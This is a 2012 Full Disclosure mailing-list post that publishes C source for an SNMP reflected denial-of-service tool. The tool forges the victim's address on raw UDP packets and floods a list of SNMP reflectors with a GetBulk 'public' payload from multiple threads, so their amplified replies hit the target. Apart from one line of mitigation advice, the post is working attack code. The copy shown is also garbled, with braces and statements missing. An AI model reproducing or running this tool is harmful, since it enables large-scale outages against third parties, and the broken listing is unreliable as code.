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Date: Thu, 30 Aug 2012 13:13:55 -0400
From: Full Disclosure <>
Subject: SNMP Reflected Denial Of Service - PoC

Hi list,

I am releasing this code due to the fact that my dev server got hacked and people have been using it in the wild for bad things.

Network admins should patch their networks appropriately by rejecting snmp connections from unwanted IPs.


/* For educational purposes only */
/* The author of this code is not responsible for the use of this proof of concept tool */
#include <stdio.h>
#include <netinet/ip.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/udp.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <asm/types.h>
#include <pthread.h>

//#define DEBUG  // uncomment if you want to see debugging messages
#define MAXTHREADS 4 // Maximum number of threads
#define SNMPPORT 161 // Destination SNMP port (default)

const char payload[] = "\x30\x23\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa5\x16\x02\x02\x4e\x47"

struct iphdr ip_head;
struct udphdr udp_head;
struct sockaddr_in target;

struct snmp_s {
        unsigned int ip;
        struct snmp_s *next;

struct snmp_s* first_s = NULL;

 struct udp_pseudo        /*the udp pseudo header*/
        unsigned int src_addr;
        unsigned int dst_addr;
        unsigned char  dummy;
        unsigned char  proto;
        unsigned short length;
 } pseudohead;

 struct help_checksum   /*struct for checksum calculation*/
        struct udp_pseudo pshd;
        struct udphdr udphd;
 } udp_chk_construct;

struct args {
        int socket;
        char *filename;
        unsigned int srcip;
        unsigned int dstip;

unsigned short in_cksum(unsigned short *addr,int len);
void send_udp(int sfd,unsigned int src,unsigned short src_p,
             unsigned int dst,unsigned short dst_p,char *buffer,int len);
void *drdos();
void add_snmp_s(void);
int snmp_s_length(struct snmp_s* list);
void push_ip(struct snmp_s** first_s_ref, unsigned int ip);

unsigned short in_cksum(unsigned short *addr,int len)
        register int nleft=len;
        register unsigned short *w=addr;
        register int sum=0;
        unsigned short answer=0;

          *(u_char *)(&answer)=*(u_char *)w;
        sum=(sum >> 16)+(sum & 0xffff);
        sum+=(sum >> 16);

void send_udp(int sfd,unsigned int src,unsigned short src_p,
             unsigned int dst,unsigned short dst_p,char *buffer,int len)
        char *packet;

        /*Prepare IP header*/       = htons(rand() + (rand()%100));
        ip_head.tot_len  = htons(sizeof(struct iphdr)+sizeof(struct udphdr)+len);
        ip_head.saddr    = src;
        ip_head.daddr    = dst;
        ip_head.check    = in_cksum((unsigned short *)&ip_head,sizeof(struct iphdr));

        /*Prepare UDP header*/
        udp_head.source = htons(src_p);
        udp_head.dest = htons(dst_p);
        udp_head.check   = 0;

        /*Assemble structure for checksum calculation and calculate checksum*/
        pseudohead.length=htons(sizeof(struct udphdr)+len);
        packet=malloc(sizeof(struct help_checksum)+len);
        memcpy(packet,&udp_chk_construct,sizeof(struct help_checksum));
        memcpy(packet+sizeof(struct help_checksum),buffer,len);
        udp_head.check=in_cksum((unsigned short *)packet,sizeof(struct help_checksum)+len);

        /*Assemble packet*/
        packet=malloc(sizeof(struct iphdr)+sizeof(struct udphdr)+len);
        memcpy(packet,(char *)&ip_head,sizeof(struct iphdr));
        memcpy(packet+sizeof(struct iphdr),(char *)&udp_head,sizeof(struct udphdr));
        memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr),buffer,len);

        /*Send packet*/
        target.sin_family     = AF_INET;
        target.sin_addr.s_addr= ip_head.daddr;
        target.sin_port       = udp_head.source;
        sendto(sfd,packet,sizeof(struct iphdr)+sizeof(struct udphdr)+len,0,(struct sockaddr *)&target,sizeof(struct sockaddr_in));

void *drdos(void) {
        char* aline = calloc(16, sizeof(char) );

        #ifdef DEBUG
        unsigned long count = 0;

        for(;;) {
                struct snmp_s *current = first_s;

                #ifdef DEBUG
                printf("Attack in progress\n");

                // read from linked list
                while( current != NULL ) {
                        args.dstip = current->ip;
                        send_udp( args.socket, args.srcip, rand(), args.dstip, SNMPPORT, payload, sizeof(payload)-1 );
                        current = current->next;

                        #ifdef DEBUG
                        printf("Packets sent: %lu\n", count);

void push_ip(struct snmp_s** snmp_s_ref, unsigned int ip) {
        struct snmp_s* temp = malloc(sizeof(struct snmp_s));

        temp->ip = ip;
        temp->next = *snmp_s_ref;
        *snmp_s_ref = temp;

void add_snmp_s(void) {
        char* aline = calloc(16, sizeof(char) );

        FILE* fp = fopen(args.filename, "r" );

        if( fp == NULL) {
                perror("Fatal error: ");

        while ( !feof(fp) )
                fscanf( fp, "%s\n", aline );
                push_ip(&first_s, inet_addr(aline));
                memset( aline, 0, 16 );

        #ifdef DEBUG
        int l = snmp_s_length(first_s);
        printf("Built linked list from file.\n");
        printf("Nodes: %d\n", l);

int snmp_s_length(struct snmp_s* list) {
        struct snmp_s *current = list;
        int count = 0;

        while( current != NULL ) {
                current = current->next;
        return count;

int main(int argc, char *argv[]) {
        char *data;
        int t=0;
        int j=0;

        // threads
        pthread_t thread_id[MAXTHREADS];

        memcpy(data, payload, sizeof(payload)-1);

        if(argc < 3) {
                printf("Usage: %s <target ip> <reflectors list>\n", argv[0]);

        if((args.socket=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0)  /*open sending socket*/

         /*Prepare IP header (static data)*/
         ip_head.ihl      = 5;     /*headerlength with no options*/
         ip_head.version  = 4;
         ip_head.tos      = 22;
         ip_head.frag_off = 0;
         ip_head.ttl      = 255;
         ip_head.protocol = IPPROTO_UDP;
         ip_head.check    = 0;    /*Must be zero for checksum calculation*/

        /* Prepare UDP header*/
         udp_head.len   = htons(sizeof(struct udphdr)+sizeof(payload)-1);

        args.srcip = inet_addr(argv[1]);
        args.filename = argv[2];

        // Read file and save the IPs in a linked list.

        // Create threads
        for(t=0; t<MAXTHREADS; t++) {
                pthread_create(&thread_id[t], NULL, &drdos, NULL);

        for(j=0; j<MAXTHREADS; j++) {
                pthread_join(&thread_id[j], NULL);

        return 0;

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